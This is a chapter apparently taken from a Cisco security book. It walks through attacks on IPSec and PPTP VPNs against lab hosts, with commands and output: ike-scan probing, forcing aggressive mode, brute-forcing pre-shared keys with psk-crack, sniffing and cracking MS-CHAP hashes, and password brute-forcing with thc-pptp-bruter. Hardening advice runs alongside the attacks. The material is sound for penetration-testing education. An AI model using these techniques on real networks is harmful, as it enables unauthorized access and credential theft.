CISCO VPN HACKING

Increasing demands have been placed on the corporate level for secure communications over insecure public networks. The biggest proportion of the increase comes from so-called "road warriors"users connecting to the internal corporate resources from homes , hotel rooms, and other offsite locations. Several different VPN implementations exist, with the most widely used ones being IPSec, PPTP, and Secure Sockets Layer (SSL) VPN implementations . Furthermore, two general types of encrypted VPNs existthose providing Remote Access (RA) and those providing site-to-site connectivity.

Working with Cisco devices, it would not come as a surprise to find all three types of VPNs supported by different hardware appliances. In Chapter 2 we provided sample characteristics of the VPN capabilities of PIX, ASA, IOS, and specialized VPN concentrators . The following table shows a summary of VPN technologies supported by different devices.

Devices

Site-to-Site
IPSec VPN

IPSec RA VPN

PPTP RA VPN

SSL RA VPN

IOS / Catalyst series

Y

Y

Y

N

PIX series

Y

Y

Y

N

VPN 3000 series

Y

Y

Y

Y

ASA series

Y

Y

N

Y

IPSec-Related Attacks

Popularity:

4

Simplicity:

4

Impact:

10

Risk Rating:

6

Most often, when talking about VPN technology, people automatically assume that it is IPSec-based. In a way this is true, since IPSec-based VPNs offer the highest level of protection for bypassing traffic and have the lowest number of vulnerabilities discovered and reported .

When searching for the devices supporting IPSec, you would look for open UDP port 500 or 4500 as well as protocol 49 (Authentication Header) or 50 (Encrypted Security Payload) support on the host. You can use our all-time-favorite Nmap to scan for the range of open ports and use the -sO option to check for protocol support. However, as you probably know, UDP portscanning is not as reliable as we would like it to be, and the ICMP type 3 (Destination unreachable) code 2 (Protocol unreachable) are often blocked by the intermediate routers. One of the ways we can enumerate such hosts is by sending a legitimate IPSec request.

One of the utilities that comes in helpful is the ike-scan , developed by NTA Monitor Ltd. and hosted at http://www.nta-monitor.com/ike-scan/ . Here's an example:

 dyno ike-scan-1.7 # ./ike-scan Usage: ike-scan [options] [hosts...] Target hosts must be specified on the command line unless the --file option is provided, in which case the targets are read from the specified file instead. The target hosts can be specified as IP addresses or hostnames. You can also specify IPnetwork/bits (for example,192.168.1.0/24) to specify all hosts in the given network (network and broadcast addresses included), and Ipstart-IPend (for example, 192.168.1.3-192.168.1.27) to specify all hosts in the inclusive range. The following output from the ike-scan tool shows options for specifying target hosts may be used both on the command line and also in the file specified with the -- file option. For the following options, a letter or word in angle brackets (such as <f>) denotes a value or string that should be supplied. The corresponding text should indicate the meaning of this value or string. When supplying the value or string, do not include the angle brackets. Text in square brackets (such as [<f>]) means that the enclosed text is optional. This is used for text that takes an optional argument. --help or -h            Display this usage message and exit. --file=<fn> or -f <fn> Read hostnames or addresses from the specified file instead of from the command line. One name or IP address per line.  Use "-" for standard input. --sport=<p> or -s <p> Set UDP souce port to <p>, default=500, 0=random. Some IKE implementations the client to use UDP source port 500 and will not talk to other ports. Note that superuser privileges are normally required to use non-zero source ports below 1024.  Also only one process on a system may bind to a given source port any one time. --dport=<p> or -d <p> Set UDP destination port to <p>, default=500. UDP port 500 is the assigned port number for ISAKMP and this is the port used by most if not all IKE implementations. --retry=< > or -r < > Set total number of attempts per host to < >, default=3. --timeout=< > or -t < > Set initial per host timeout to < > ms, default=500. This timeout is for the first packet sent to each host. Subsequent timeouts are multiplied by the backoff factor which is set with --backoff. --interval=< > or -i < > Set minimum packet interval to < > ms, default=75. This controls the outgoing bandwidth usage by limiting the rate at which packets can be sent.  The packet interval will be no smaller than this number. The outgoing packets have a total size of 364 bytes (20 bytes IP hdr + 8 bytes UDP hdr + 336 bytes data) when the default transform set is used, or 112 bytes if a single custom transform is specified.  Therefore for default transform set: 50=58240bps, 80=36400bps and for custom transform: 15=59733bps, 30=35840bps. The interval specified is in milliseconds by default, or in microseconds if "u" is appended to the value. --backoff=<b> or -b <b> Set timeout backoff factor to <b>, default=1.50. The per-host timeout is multiplied by this factor after each timeout.  So, if the number of retrys is 3, the initial per-host timeout is 500ms and the backoff factor is 1.5, then the first timeout will be 500ms, the second 750ms and the third 1125ms. --verbose or -v Display verbose progress messages. Use more than once for greater effect: Show when each pass is completed and when packets with invalid cookies are received. Show each packet sent and received and when hosts are removed from the list. Display the host, Vendor ID and backoff lists before scanning starts. --quiet or -q Don't decode the returned packet. This prints less protocol information so the output lines are shorter. --multiline or -M Split the payload decode across multiple lines. With this option, the decode for each payload is printed on a separate line starting with a TAB. This option makes the output easier to read, especially when there are many payloads. --lifetime=<s> or -l <s> Set IKE lifetime to <s> seconds, default=28800. RFC 2407 specifies 28800 as the default, but some implementations may require different values. If you specify 0, then no lifetime will be specified. You can use this option more than once in conjunction with the --trans options to produce multiple transform payloads with different lifetimes.  Each --trans option will use the previously specified lifetime value. --lifesize=<s> or -z <s> Set IKE lifesize to <s> Kilobytes, default=0. If you specify 0, then no lifesize will be specified. You can use this option more than once in conjunction with the --trans options to produce multiple transform payloads with different lifesizes.  Each --trans option will use the previously specified lifesize value. --auth=< > or -m < > Set auth. method to < >, default=1 (pre-shared key). RFC defined values are 1 to 5.  See RFC 2409 Appendix A. Checkpoint hybrid mode is 64221. GSS (Windows "Kerberos") is 65001. XAUTH uses 65001 to 65010. --version or -V Display program version and exit. --vendor=<v> or -e <v> Set vendor id string to hex value <v>. You can use this option more than once to send multiple vendor ID payloads. --trans=<t> or -a <t> Use custom transform <t> instead of default set. <t> is specified as enc[/len],hash,auth,group. Where enc is the encryption algorithm, len is the key length for variable length ciphers, hash is the hash algorithm, and group is the DH Group. See RFC 2409 Appendix A for details of which values to use. For example, --trans=5,2,1,2 specifies Enc=3DES-CBC, Hash=SHA1, Auth=shared key, DH Group=2 and --trans=7/256,1,1,5 specifies Enc=AES-256, Hash=MD5, Auth=shared key, DH Group=5. You can use this option more than once to send an arbitary number of custom transforms. --showbackoff[=< >] or -o[< >] Display the backoff fingerprint table. Display the backoff table to fingerprint the IKE implementation on the remote hosts. The optional argument specifies time to wait in seconds after receiving the last packet, default=60. If you are using the short form of the option (-o) then the value must immediately follow the option letter with no spaces, e.g. -o25 not -o 25. --fuzz=< > or -u < > Set pattern matching fuzz to < > ms, default=500. This sets the maximum acceptable difference between the observed backoff times and the reference times in the backoff patterns file.  Larger values allow for higher variance but also increase the risk of false positive identifications. Any per-pattern-entry fuzz specifications in the patterns file will override the value set here. --patterns=<f> or -p <f> Use IKE patterns file <f>, default=/usr/local/share/ike-scan/ike-backoff-patterns. This specifies the name of the file containing IKE backoff patterns. This file is only used when --showbackoff is specified. --vidpatterns=<f> or -I <f> Use Vendor ID patterns file <f>, default=/usr/local/share/ike-scan/ike-vendor-ids. This specifies the name of the file containing Vendor ID patterns. These patterns are used for Vendor ID fingerprinting. --aggressive or -A Use IKE Aggressive Mode (The default is Main Mode) If you specify --aggressive, then you may also specify --dhgroup, --id and --idtype.  If you use custom transforms with aggressive mode with the -trans option, note that all transforms should have the same DH Group and this should match the group specified with --dhgroup or the default if --dhgroup is not used. --id=<id> or -n <id> Use <id> as the identification value. This option is only applicable to Aggressive Mode. <id> can be specified as a string, e.g. --id=test or as a hex value with a leading "0x", e.g. --id=0xdeadbeef. --idtype=< > or -y < > Use identification type < >.  Default 3 (ID_USER_FQDN). This option is only applicable to Aggressive Mode. See RFC 2407 4.6.2 for details of Identification types. --dhgroup=< > or -g < > Use Diffie Hellman Group < >.  Default 2. This option is only applicable to Aggressive Mode where it is used to determine the size of the key exchange payload. Acceptable values are 1, 2, 5, 14, 15, 16, 17, 18 (MODP only). --gssid=< > or -G < > Use GSS ID < > where < > is a hex string. This uses transform attribute type 16384 as specified in draft-ietf-ipsec-isakmp-gss-auth-07.txt, although Windows- 2000 has been observed to use 32001 as well. For Windows 2000, you'll need to use --auth=65001 to specify Kerberos (GSS) authentication. --random or -R Random the host list. This option randomises the order of the hosts in the host list, so the IKE probes are sent to the hosts in a random order. It uses the Knuth shuffle algorithm. --tcp[=< >] or -T[< >] Use TCP transport instead of UDP. This allows you to test a host running IKE over TCP. You won't normally need this option because the vast majority of IPsec systems only support IKE over UDP. The optional value < > specifies the type of IKE over TCP. There are currently two possible values: = RAW IKE over TCP as used by Checkpoint (default); = Encapsulated IKE over TCP as used by Cisco. If you are using the short form of the option (-T) then the value must immediately follow the option letter with no spaces, e.g. -T2 not -T 2. You can only specify a single target host if you use this option. --tcptimeout=< > or -O < > Set TCP connect timeout to < > seconds (default=10). This is only applicable to TCP transport mode. --pskcrack[=<f>] or -P[<f>] Crack aggressive mode pre-shared keys. This option outputs the aggressive mode pre-shared key (PSK) parameters for offline cracking using the "psk-crack" program that is supplied with ike-scan. You can optionally specify a filename, <f>, to write the PSK parameters to. If you do not specify a filename then the PSK parameters are written to standard output. If you are using the short form of the option (-P) then the value must immediately follow the option letter with no spaces, e.g. -Pfile not -P file. You can only specify a single target host if you use this option. This option is only applicable to IKE aggressive mode. --nodns or -N Do not use DNS to resolve names. If you use this option, then all hosts must be specified as IP addresses. Report bugs or send suggestions to ike-scan@nta-monitor.com See the ike-scan homepage at http://www.nta-monitor.com/ike-scan/ 

As you can see, a vast number of options is available, and you can create pretty much any type of Internet Key Exchange (IKE) proposal and send it off to the server or a range of hosts on the network. In addition to packet creation, ike-scan can be used to finger-print hosts and determine the type of IPSec implementation they run.

Let's try it out against a Cisco 2600 series router that is waiting to respond to an IPSec connection and was configured to use DES/SHA1/MODP2 for IKE and DES/SHA1/ MODP2 for IPSec:

 arhontus / # ike-scan --showbackoff 192.168.66.202 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 192.168.66.202  Main Mode Handshake returned SA=(Enc=DES Hash=SHA1  Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) IKE Backoff Patterns: IP Address      No.     Recv time               Delta Time 192.168.66.202  1       1117676572.724007       0.000000 192.168.66.202  2       1117676582.724615        10.000608 192.168.66.202  3       1117676592.726109        10.001494 192.168.66.202  4       1117676602.727004        10.000895 192.168.66.202  5       1117676612.728526        10.001522 192.168.66.202  6       1117676622.729242        10.000716 192.168.66.202  Implementation guess: Watchguard Firebox or Gnat Box Ending ike-scan 1.7: 1 hosts scanned in 110.430 seconds (0.01 hosts/sec).  1 returned handshake; 0 returned notify 

As you can see, the ike-scan was able to determine one of the transform sets supported by our test host in the main exchange_mode and identified it as running WatchGuard Firebox or Gnat Box. In fact, starting from IOS 12.2, Cisco IOS has a backoff pattern similar to these two devices.

By default, an IOS router would accept the aggressive exchange mode, unless specifically disabled with a crypto isakmp aggressive-mode disable command. Since we know one of the Internet Security Association and Key Management Protocol (ISAKMP) policies, let's try to force the target to switch into the aggressive exchange mode with the following command:

 arhontus / # ike-scan -v -A --trans 1,2,1,2 --dhgroup=2 --lifetime 3600 --idtype=1  --id=192.168.77.6 192.168.66.202 Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) ---     Pass 1 of 3 completed 192.168.66.202  Aggressive Mode Handshake returned SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=3600) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection) VID=59d8f25cf4026f1e1b8db29b5dffa0f3 VID=09002689dfd6b712 (XAUTH) KeyExchange (128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.66.202) Nonce(20 bytes) Hash (20 bytes) Ending ike-scan 1.7: 1 hosts scanned in 0.667 seconds (1.50 hosts/sec).  1 returned handshake; 0 returned notify 

In this example, we were able to initiate the key exchange in the aggressive mode. As you might already know, PSK and the aggressive exchange mode combination is a disaster waiting to happen. Not only can the PSK of the connection be cracked, but it is also possible to consume excessive CPU cycles of the node, creating a DoS attack. We will not go into the theory explaining how the attack works, but you can read about it in more detail at http://www.ima.umn.edu/~pliam/xauth/ ; we will show the practical attack against the Cisco 2600 series router.

Once you have obtained a successful response from the server, you can save this information for offline cracking using the -Pfilename option. Next, fire off psk-crack , which is a part of the ike-scan suite. Psk-crack runs a dictionary attack by default, and then continues with pure bruteforcing if the dictionary attack has failed. You can specify the dictionary file as well as the required charset and password length.

 arhontus / # time ./psk-crack --bruteforce=5 psktest Starting psk-crack in brute-force cracking mode Brute force with 36 chars up to length 5 will take up to 60466176 iterations key "janka" matches SHA1 hash ae993bf8f60afdf2fa49013dcbc03daa571a420e Ending psk-crack: 17759468 iterations in 140.094 seconds (126768.55 iterations/sec) real     2m20.097s user     1m57.720s sys      0m0.271s 

In the bruteforcing mode, on the AMD XP 2500+, it took less than 2 minutes to discover the PSK. To improve the efficiency of the cracking process, the authors of the tool recommend you compile the suite in the following way: ./configure with-openssl . Thus, you can improve the speed of bruteforcing by approximately 2.5 times. Obviously, the example PSK was only five characters in length and the charset included only 0123456789abcdefghijklmnopqrstuvwxyz characters. The usual strong password rules reign: the longer and more complex the PSK, the more difficult or even impractical it is to bruteforce, and the maximum length of the PSK on IOS-based devices can be up to 128 characters. You can further increase your chances of successfully cracking the shared key by generating a large dictionary file using John the Ripper and its ability to employ character frequency tables to get as many passwords as possible within a limited time and run it with psk-crack .

From the administrator's perspective, it is possible to switch from the PSK mode to the certificate-based node authentication, but it might be considered too complex and of little practical use in the site-to-site IPSec tunnel with only two participating nodes, so you are more than likely to come across PSK authentication situations when pentesting. Frankly, there is no reason for you to use the aggressive exchange mode, and a good solution to avoid security concerns associated with its use is to disable the aggressive mode and switch to the main mode exchange. Be aware that the use of PSK even in the main mode exchange can still be dangerous, but the job of the attacker is far more difficult, since she would need to execute a man-in-the-middle attack and forge the DH public key.

Another (MS Windowsbased) utility that can be used to determine vulnerable IPSec hosts is ikeprobe.exe . It automatically advances through various IKE transforms trying to force the responder into the aggressive mode. IKEProbe can create a proposal with the following ciphers: DES, 3DES, AES-128, and CAST. The standard MD5 and SHA1 are used for the hash function and Diffie-Helman groups 1, 2, and 5 are supported.

 IKEProbe 0.1beta   (c) 2003 Michael Thumann (www.ernw.de) Portions Copyright (c) 2003 Cipherica Labs (www.cipherica.com) Read license-cipherica.txt for LibIKE License Information IKE Aggressive Mode PSK Vulnerability Scanner (Bugtraq ID 7423) Supported Attributes Ciphers              : DES, 3DES, AES-128, CAST Hashes               : MD5, SHA1 Diffie Hellman Groups : DH Groups 1,2 and 5 Usage: ikeprobe.exe [peer] 

Simply specify the peer you want to examine and fire it off.

One more tool developed by Anton Rager from Avaya Networks that is useful to have during the enumeration of IPSec networks is IKEProber.pl . You can use it to create various types of proposals and watch the response from the server:

 arhontus / # perl IKEProber.pl --help ikeprober.pl V1.13 -- 02/14/2002, updated 9/25/2002         By: Anton T. Rager - arager.com Error: Must supply options Usage: -s SA [encr:hash:auth:group] -k xauser valueuser value [KE repeatedX timesascii_suppliedhex_supplied] -n xauser valueuser value [Nonce repeatedX timesascii_suppliedhex_supplied] -v xauser valueuser value [VendorID repeatedXascii_suppliedhex_supplied] -i xauser valueuserrawip value [ID repeatedXascii_suppliedhex_suppliedHex_IPV4] -h xauser valueuser value [Hash repeatedXascii_suppliedhex_supplied] -spi xx [SPI in 1byte hex] -r x [repeat previous payload x times] -d ip_address [Create Init packet to dest host] -eac [Nortel EAC transform - responder only] -main [main mode packet instead of aggressive mode - logic will be added later for  correct init/respond] -sa_test 1234 [1=86400sec life, 2=0xffffffff life, 3=192 group attribs, 4=128  byte TLV attrib] -rand randomize cookie -transforms x [repeat SA transform x times] 

Anton has also developed a tool that can be used to crack the PSK, called ikecrack- snarf . The idea is similar to the ike-scan mentioned previously, but in order to crack the PSK successfully an attacker would need to obtain the dump of the aggressive mode IKE exchange between the client and server. Providing an attacker positions himself in a way to be able to intercept the communication, he can dump the exchange using tcp- dump -nxq > logfile.dat and execute

 arhontus / # perl ikecrack-snarf-1.00.pl <target IP>.500 

to fetch the values from the dump file and start bruteforcing.

Alternatively, it is possible to fill in the desired fields in the body of the tool and set the static_test to 1 . You can also set other parameters of the ikecrack-snarf , such as the character set. Sample output of the ikecrack-bsnarf follows :

 arhontus /# perl ikecrack-snarf-1.00.pl Initiator_ID - Responder_ID - Type is IPv4: 10.64.1.1 Responder Sent MD5 HASH_R : 7657615908179c0d7ddb6712f3d0e31e Starting Grinder............. Reading Dictionary File Starting Dictionary Attack: No matches Starting Hybrid Attack: No matches Starting Bruteforce Attack: Character Set:  a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Character 1 Done : Time 0 seconds Character 2 Done : Time 0 seconds match with xxx Calc MD5 HASH_R : 7657615908179c0d7ddb6712f3d0e31e Calc SKEYID : 2d930e484c38b13cb4c0a091e9798dab Elapsed Time : 3 seconds 

Cisco PPTP Hacking

Attack 

Popularity:

5

Simplicity:

6

Impact:

10

Risk Rating:

7

Another common type of VPN supported by Cisco devices is Point-to-Point Tunneling Protocol (PPTP). Initial specification of the protocol was stated in RFC 2637 in July 1999. PPTP is implemented as a Point-to-Point Protocol (PPP) session over GRE and allows the tunneling of PPP frames across an IP backbone. Several authentication mechanisms are supported, including Password Authentication Protocol (PAP), Challenge Handshake Authentication Protocol (CHAP), Extensible Authentication Protocol (EAP), MS-CHAP, and MS-CHAPv2. MS-CHAPv2 is probably the most common PPTP authentication mechanism on modern networks, and it is the main target of attacks described in this section.

Cisco devices can act both as a client establishing a connection and as a server accepting connections from the remote hosts. The initial version of the Microsoft PPTP was scrutinized by Bruce Schneier and Dr. Mudge, who recommended against its use. The newer version, MS-CHAPv2, was developed to eliminate the issues discovered by Schneier and Co., but in situations for which data confidentiality is considered to be of critical importance, we recommend using IPSec instead of PPTP.

PPTP VPNs are susceptible to sniffing attacks, and if an attacker manages to intercept a PPTP MS-CHAP challenge/response session, she can obtain the hash used for authentication. One of the tools that can be used is Anger, developed by Aleph One. As described by the author of the tool, Anger is a PPTP sniffer and attack tool. It sniffs the MS-CHAP challenge/response and outputs it in a format suitable for further input into the L0phtcrack password cracking program. No recent version of L0pht is running on Linux, so Linux users might consider cracking the hash with John the Ripper if it is patched for proper NT hash-cracking support.

If the MS-CHAPv1 authentication is used (never mind the reasonssuch cases still exist in the wild), Anger can attempt to spoof the password change command from a server, requesting a user change his password. If the user does as told, all currently used hashes can be discovered together with the new ones. It is possible to use the obtained hashes with a modified version of the PPP client in Linux to log in to the network without actually knowing the user password. However, such situations are quite rare nowadays, and security-aware system administrators would use MS-CHAPv2 for PPTP authentication.

To use MS-CHAPv2 authentication, you need to issue ppp authentication ms-chap-v2 and ppp ms-chap refuse commands on a router. To use the stronger 128-bit RC4 encryption, issue ppp encrypt mppe 128 required . In such situations, you can still sniff out the hash.

You can download Anger from http://www.packetstormsecurity.org/Crackers/NT/l0phtcrack/anger.tar.gz. Unpack and compile it in the following manner:

 gcc -o anger anger.c in_cksum.c -lcrypto -lpcap 

You would need to use other means to make sure that the challenge/response traffic is seen on your interface, and we have already discussed how it can be done. Run Anger with the following options and watch the hash appear in the pptp-hash file:

 arohntus / # ./anger -d eth0 pptp-hash arhontus / # cat ./pptp-hash arhont (Server 192.168.19.99 Client 192.168.46.66):0:7C1759657B10D205:0000000000000000000 00000000000000000000000000 000:167E0D02057C71C70CB3595F10153DB04CB762A391F68C2B 

You must disable cracking of LANMAN hashes in the L0phtcrack when running it, since it does not understand the all-zeroes LANMAN response field as invalid and will attempt to crack it.

We can use another excellent tool to crack PPTP passwords: asleap-imp . Since EAP-LEAP uses a modified version of the MS-CHAPv2 authentication, a tool for cracking EAP-LEAP can also be used for PPTP cracking. Sample output of such attack is provided here:

 arhontus / # ./asleap -r pptp_int -f words.db -n words.idx asleap 1.4 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com> Using the passive attack method. Captured PPTP exchange information:         username:          testuser         auth challenge:    c1b104277ee9a7f2b48bfd84d8fe445a         peer challenge:    3798bd4f96404c3602b241885f183c13         peer response:     dbd5573dfd24357fbf1a327bf31f0baea23c2e30f405f059         challenge:          037e6a6fab3debb2         hash bytes:         816b         NT hash:            707982d4f1d9645400a53f22794e69d3         password:           testtest 

If for some reason you cannot intercept the authentication traffic, you can still attack the PPTP server by bruteforcing the password. One of the utilities that's helpful is the thc-pptp-bruter . As you have probably guessed from the name, the tool was developed by The Hackers Choice group, and at the time of writing the latest release is v0.1.4. You can download it from http://www.thc.org/releases.php.

 arhontus / # thc-pptp-bruter thc-pptp-bruter [options] <remote host IP>   -v        Verbose output / Debug output   -W        Disable windows hack [default: enabled]   -u <user> User [default: administrator]   -w <file>  Wordlist file [default: stdin]   -p < >    PPTP port [default: 1723]   -n < >    Number of parallel tries [default: 5]   -l < >    Limit to n passwords / sec [default: 100] This Windows hack reuses the link control protocol (LCP) connection with the same caller ID. This gets around Microsoft's anti-bruteforcing protection. It's enabled by default. 

The use of the tool is pretty straightforward: just pipe a dictionary file into the thc-pptp-bruter and specify both the username and the host you are attacking. Note that upon connecting to the device, you would see some brief information about the host to which you are connecting, such as "Hostname ˜c2611wooter, Vendor ˜Cisco Systems, Inc., Firmware: 4608." This is a useful method of remote application layer fingerprinting.



Hacking Exposed Cisco Networks
Hacking Exposed Cisco Networks: Cisco Security Secrets & Solutions
ISBN: 0072259175
EAN: 2147483647
Year: 2005
Pages: 117

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net